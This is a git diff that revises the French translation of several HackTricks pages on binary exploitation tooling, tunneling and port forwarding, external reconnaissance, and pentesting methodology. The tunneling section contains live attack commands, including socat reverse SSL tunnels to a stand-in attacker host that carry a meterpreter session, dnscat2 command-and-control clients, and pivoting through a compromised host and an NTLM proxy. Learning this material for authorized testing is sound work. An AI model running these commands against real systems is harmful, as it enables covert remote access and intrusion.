diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index b42f702a7..a491512b6 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -119,7 +119,7 @@ gef➤ pattern search 0x6261617762616176 ``` ### Astuces -#### Adresses GDB identiques +#### Adresses identiques dans GDB Lors du débogage, GDB aura **des adresses légèrement différentes de celles utilisées par le binaire lors de l'exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant : @@ -150,8 +150,8 @@ gef➤ bt ### Trouver l'offset de la pile **Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\ -Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique qu'un offset de `0xbc` est nécessaire. De plus, si `local_10` est un cookie canari, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ -&#xNAN;_Remember que les premiers 0x08 d'où le RIP est sauvegardé appartiennent au RBP._ +Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canari, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ +_Remember que les premiers 0x08 d'où le RIP est sauvegardé appartiennent au RBP._ ![](<../../../images/image (1061).png>) @@ -164,8 +164,8 @@ Obtenez chaque opcode exécuté dans le programme. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\ -&#xNAN;**-o** --> Sortie\ -&#xNAN;**-g** --> Sauvegarder le code (GDB pourra le voir)\ +**-o** --> Sortie\ +**-g** --> Sauvegarder le code (GDB pourra le voir)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Pour désactiver l'ASLR sous linux **Pour compiler un shellcode :**\ @@ -175,15 +175,15 @@ Obtenez chaque opcode exécuté dans le programme. ## Objdump **-d** --> **Désassembler les** sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\ -&#xNAN;**-Mintel** --> **Syntaxe** Intel\ -&#xNAN;**-t** --> **Table** des symboles\ -&#xNAN;**-D** --> **Désassembler tout** (adresse de la variable statique)\ -&#xNAN;**-s -j .dtors** --> section dtors\ -&#xNAN;**-s -j .got** --> section got\ +**-Mintel** --> **Syntaxe** Intel\ +**-t** --> Table des **symboles**\ +**-D** --> **Désassembler tout** (adresse de variable statique)\ +**-s -j .dtors** --> section dtors\ +**-s -j .got** --> section got\ -D -s -j .plt --> section **plt** **décompilée**\ -&#xNAN;**-TR** --> **Relocalisations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Adresse d'une variable statique (celles-ci sont stockées dans la section DATA). +**-TR** --> **Relocalisations**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans le GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Adresse ou une variable statique (celles-ci sont stockées dans la section DATA). ## Core dumps @@ -210,11 +210,11 @@ Obtenez chaque opcode exécuté dans le programme. ### Débogage dans linux distant -Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire à l'intérieur d'un linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` à l'intérieur du serveur linux et exécutez-le dans le dossier qui contient le binaire : +À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire à l'intérieur d'un linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` à l'intérieur du serveur linux et exécutez-le dans le dossier qui contient le binaire : ``` ./linux_server64 -Ppass ``` -Ensuite, configurez le débogueur : Debugger (linux remote) --> Options de processus... : +Ensuite, configurez le débogueur : Debugger (linux remote) --> Proccess options... : ![](<../../../images/image (858).png>) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 33e4e461e..fd32f5bce 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,11 +1,11 @@ -# Tunneling et Port Forwarding +# Tunneling et Redirection de Port {{#include ../banners/hacktricks-training.md}} ## Astuce Nmap > [!WARNING] -> Les scans **ICMP** et **SYN** ne peuvent pas être tunnélisés à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier les **scans TCP** (`-sT`) pour que cela fonctionne. +> Les scans **ICMP** et **SYN** ne peuvent pas être tunnélisés à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier des **scans TCP** (`-sT`) pour que cela fonctionne. ## **Bash** @@ -51,7 +51,7 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Port local --> Hôte compromis (SSH) --> N'importe où +Port local --> Hôte compromis (SSH) --> Partout ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### Proxy SOCKS -Ouvrez un port dans le teamserver écoutant sur toutes les interfaces qui peut être utilisé pour **router le trafic à travers le beacon**. +Ouvrez un port dans le teamserver écoutant sur toutes les interfaces qui peuvent être utilisées pour **router le trafic à travers le beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -Pivoter à travers **NTLM proxy** +Pivot through **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -286,10 +286,12 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Vous pouvez contourner un **proxy non authentifié** en exécutant cette ligne au lieu de la dernière dans la console de la victime : +Vous pouvez contourner un **proxy non authentifié** en exécutant cette ligne à la place de la dernière dans la console de la victime : ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) + ### Tunnel SSL Socat **/bin/sh console** @@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Vous devez avoir **un accès RDP sur le système**.\ Téléchargez : -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité de Service de Bureau à Distance de Windows. DVC est responsable de **tunneling des paquets sur la connexion RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci : @@ -352,7 +354,7 @@ Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci : # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Maintenant, nous pouvons **nous connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**. +Maintenant, nous pouvons **connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** disant que le **plugin SocksOverRDP est activé**, et il va **écouter** sur **127.0.0.1:1080**. **Connectez-vous** via **RDP** et téléchargez & exécutez sur la machine de la victime le binaire `SocksOverRDP-Server.exe` : ``` @@ -362,13 +364,13 @@ Maintenant, confirmez sur votre machine (attaquant) que le port 1080 est à l'é ``` netstat -antb | findstr 1080 ``` -Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxy le trafic à travers ce port.** +Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxyfier le trafic à travers ce port.** -## Proxifier les applications GUI Windows +## Proxyfier les applications GUI Windows Vous pouvez faire naviguer les applications GUI Windows à travers un proxy en utilisant [**Proxifier**](https://www.proxifier.com/).\ Dans **Profile -> Proxy Servers**, ajoutez l'IP et le port du serveur SOCKS.\ -Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxifier et les connexions aux IP que vous souhaitez proxifier. +Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxyfier et les connexions aux IP que vous souhaitez proxyfier. ## Contournement du proxy NTLM @@ -428,12 +430,12 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **Dans PowerShell** -Vous pouvez utiliser [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) pour exécuter un client dnscat2 dans powershell : +Vous pouvez utiliser [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) pour exécuter un client dnscat2 dans PowerShell : ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` -#### **Transfert de port avec dnscat** +#### **Redirection de port avec dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host @@ -478,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **est un outil pour exposer des solutions à Internet en une ligne de commande.**\ -&#xNAN;_Exposition URI sont comme:_ **UID.ngrok.io** +_Exposition URI sont comme:_ **UID.ngrok.io** ### Installation diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ac399b7c3..276978cdc 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -4,13 +4,13 @@ ## Découvertes d'actifs -> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez découvrir ce que cette entreprise possède réellement. +> On vous a dit que tout ce qui appartient à une entreprise est dans le champ d'application, et vous voulez découvrir ce que cette entreprise possède réellement. L'objectif de cette phase est d'obtenir toutes les **entreprises détenues par la société principale** et ensuite tous les **actifs** de ces entreprises. Pour ce faire, nous allons : -1. Trouver les acquisitions de la société principale, cela nous donnera les entreprises dans le périmètre. +1. Trouver les acquisitions de la société principale, cela nous donnera les entreprises dans le champ d'application. 2. Trouver l'ASN (s'il y en a un) de chaque entreprise, cela nous donnera les plages IP détenues par chaque entreprise. -3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive). +3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive). 4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive). ### **Acquisitions** @@ -19,14 +19,14 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **chercher** la **société principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\ Une autre option est de visiter la page **Wikipedia** de la société principale et de rechercher les **acquisitions**. -> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Découvrons comment trouver leurs actifs. +> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Découvrons comment trouver leurs actifs. ### **ASNs** Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\ Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs. -Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** à l'intérieur du **périmètre** et de **chercher des domaines** à l'intérieur de ces IP.\ +Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IP.\ Vous pouvez **chercher** par nom de société, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\ **Selon la région de la société, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien. ```bash @@ -57,8 +57,8 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com ### **Recherche de vulnérabilités** À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ -De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment pentester plusieurs services possibles en cours d'exécution.\ -**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer un pentesting sur plusieurs services possibles en cours d'exécution.\ +**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et** de mots de passe **par défaut et essayer de** brute-forcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domaines @@ -139,11 +139,11 @@ fhash = mmh3.hash(favicon) print(f"{url} : {fhash}") return fhash ``` -### **Copyright / Chaîne unique** +### **Droits d'auteur / Chaîne unique** -Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de copyright** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"` +Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"` -### **CRT Time** +### **Temps CRT** Il est courant d'avoir un travail cron tel que ```bash @@ -163,15 +163,15 @@ Apparemment, il est courant que des personnes assignent des sous-domaines à des [**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **crée une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle. -### **Autres méthodes** +### **Autres moyens** **Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.** **Shodan** -Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans Shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS. +Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS. -Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** @@ -179,10 +179,10 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir ### **Recherche de vulnérabilités** -Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise. +Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise. -Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ -&#xNAN;_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ +Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\ +_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ ## Sous-domaines @@ -195,7 +195,7 @@ Il est temps de trouver tous les sous-domaines possibles de chaque domaine trouv ### **DNS** -Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer pour un **Transfert de Zone** (s'il est vulnérable, vous devriez le signaler). +Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer le **Transfert de Zone** (s'il est vulnérable, vous devriez le signaler). ```bash dnsrecon -a -d tesla.com ``` @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme : +Il existe **d'autres outils/APIs intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme : - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines ```bash @@ -458,15 +458,15 @@ Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont cr Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html). -Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ -&#xNAN;_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ +Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services qui fonctionnent, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ +_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ ## IPs Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\ Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).** -En utilisant les services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +En utilisant des services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -474,7 +474,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc ### **Recherche de vulnérabilités** -**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. +**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. **Trouvez un** [**guide**](../pentesting-network/index.html) **sur la façon de scanner les hôtes.** @@ -510,11 +510,11 @@ Vous aurez également besoin de listes de mots de **mots courants utilisés dans - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour de Brute-Force DNS**](#second-dns-bruteforce-round) pour plus d'infos). +Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour DNS Brute-Force**](#second-dns-bruteforce-round) pour plus d'infos). Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**. +N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devez **chercher plus que de simples buckets dans AWS**. ### **Recherche de vulnérabilités** @@ -551,9 +551,9 @@ Les fuites de credentials sont liées aux hacks d'entreprises où des **informat ### Fuites Github Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ -Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux. +Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) sur eux automatiquement. -**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** car parfois **les pages web contiennent également des secrets**. +**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**. #### Dorks Github @@ -572,7 +572,7 @@ Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) Les dorks google, vieux mais efficaces, sont toujours utiles pour trouver des **informations exposées qui ne devraient pas être là**. Le seul problème est que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Donc, vous pouvez prendre vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. -_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais car Google vous bloquera très rapidement._ +_Remarque : les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais, car Google vous bloquera très rapidement._ ### **Recherche de vulnérabilités** @@ -607,7 +607,7 @@ Donc, vous avez déjà : 1. Trouvé toutes les **entreprises** dans le périmètre 2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué quelques scans de vulnérabilités si dans le périmètre) 3. Trouvé tous les **domaines** appartenant aux entreprises -4. Trouvé tous les **sous-domaines** des domaines (y a-t-il eu des prises de contrôle de sous-domaines ?) +4. Trouvé tous les **sous-domaines** des domaines (y a-t-il une prise de contrôle de sous-domaine ?) 5. Trouvé toutes les **IPs** (provenant et **non provenant des CDN**) dans le périmètre. 6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (y a-t-il quelque chose de bizarre qui mérite un examen plus approfondi ?) 7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise. @@ -621,7 +621,7 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu ancien et pas mis à jour +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu ancien et non mis à jour ## **Références** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index af45a3bbc..ce49f9a0e 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -6,7 +6,7 @@
-_Logo Hacktricks conçu par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Les logos Hacktricks ont été conçus par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ ### 0- Attaques Physiques @@ -34,9 +34,9 @@ Une fois que vous savez quels services sont en cours d'exécution, et peut-être ### **5-** Services de Pentesting -S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vous devriez rechercher **des erreurs de configuration courantes dans chaque service en cours d'exécution.** +S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vous devriez chercher des **mauvaise configurations courantes dans chaque service en cours d'exécution.** -**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant que ça). **Veuillez chercher dans l'index de gauche la section** _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).** +**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres qui ne le sont pas tant)**. Veuillez chercher dans l'index de gauche la section _**PENTESTING**_ **(les services sont classés par leurs ports par défaut).** **Je tiens à faire une mention spéciale de la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(car c'est la plus étendue).**\ De plus, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](../generic-hacking/search-exploits.md) peut être trouvé ici. @@ -57,9 +57,9 @@ Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous ** ### **7-** [**Obtenir un Shell**](../generic-hacking/reverse-shells/index.html) -D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très 